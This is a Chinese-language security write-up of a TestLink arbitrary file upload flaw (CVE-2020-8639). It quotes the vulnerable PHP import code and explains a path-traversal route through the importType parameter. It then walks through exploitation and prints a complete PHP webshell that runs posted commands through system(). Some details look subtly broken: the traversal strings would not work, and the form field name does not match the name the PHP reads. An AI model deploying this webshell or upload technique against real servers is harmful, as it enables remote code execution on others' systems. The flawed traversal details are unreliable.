Testlink是一个开源的、PHP编写的,基于Web的测试管理和测试执行系统。
github网址为:https://github.com/TestLinkOpenSourceTRMS/testlink-code/tree/1.9.20
在最近的一次安全审计中,被发现了一个任意文件上传漏洞(CVE-2020-8639)和两个SQL注入漏洞(CVE-2020-8637、CVE-2020-8638)。
CVE:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8637
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8638
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8639
下面我们将对这三个已发现的漏洞及其被利用的方式进行概述。
Teslink提供了使用关键字对测试用例进行分类的可能性。这些关键字可以导出和导入,在这次操作中,我们发现了第一个漏洞
这个界面允许我们上传一个包含关键字的文件,通过选择文件类型,我们可以选择XML或CSV格式。现在我们看一下在文件keywordsImport.php中存在的init_args
方法的实现。
function init_args(&$dbHandler) { $_REQUEST = strings_stripSlashes($_REQUEST); $ipcfg = array("UploadFile" => array(tlInputParameter::STRING_N,0,1), "importType" => array(tlInputParameter::STRING_N,0,100), "tproject_id" => array(tlInputParameter::INT_N)); $args = new stdClass(); R_PARAMS($ipcfg,$args); if( $args->tproject_id <= 0 ) { throw new Exception(" Error Invalid Test Project ID", 1); } // Check rights before doing anything else // Abort if rights are not enough $user = $_SESSION['currentUser']; $env['tproject_id'] = $args->tproject_id; $env['tplan_id'] = 0; $check = new stdClass(); $check->items = array('mgt_modify_key'); $check->mode = 'and'; checkAccess($dbHandler,$user,$env,$check); $tproj_mgr = new testproject($dbHandler); $dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name')); $args->tproject_name = $dm['name']; $args->UploadFile = ($args->UploadFile != "") ? 1 : 0; $args->fInfo = isset($_FILES['uploadedFile']) ? $_FILES['uploadedFile'] : null; $args->source = isset($args->fInfo['tmp_name']) ? $args->fInfo['tmp_name'] : null; $args->dest = TL_TEMP_PATH . session_id() . "-importkeywords." . $args->importType; return $args; }
首先,strings_stripSlashes方法取消了==$_REQUEST==
中所有引用的字符串值。然后用R_PARAMS
方法从REQUEST
中获取ipcfg
中定义的参数并存储在args中。上传的文件被存储在$args->source
中,而$args->importType
的值被串联在$args->dest
中。我们可以很容易的将importType的值改为/./././any/folder/we/want。换句话说,这个参数是容易被路径遍历的。
现在我们看看 $args->dest
是在哪被用上的:
$args = init_args($db); $gui = initializeGui($args); if(!$gui->msg && $args->UploadFile) { if(($args->source != 'none') && ($args->source != '')) { if (move_uploaded_file($args->source, $args->dest))
它被用在move_uploaded_file
,所以我们可以上传任何服务器目录下的一个文件。
利用这个漏洞的一个方法是在部署Testlink的服务器上上传一个webshell,使其远程执行代码。要做到这一点,我们需要在服务器上找到一个运行Testlink的系统用户有写权限的路径(例如,/logs)。
importType
的值可以是/.../.../.../.../.../logs/ws.php
,我们需要在PHP中的变量uploadFile
中传递我们的webshell的代码。例如,这可以用下面的方法来实现。
<html>
<body>
<form method="POST">
<input name="command" id="command" />
<input type="submit" value="Send" />
</form>
<pre>
<?php if(isset($_POST['Command']))
{
system($_POST['Command']);
} ?>
</pre>
</body>
</html>
随后我们就可以在server上执行命令。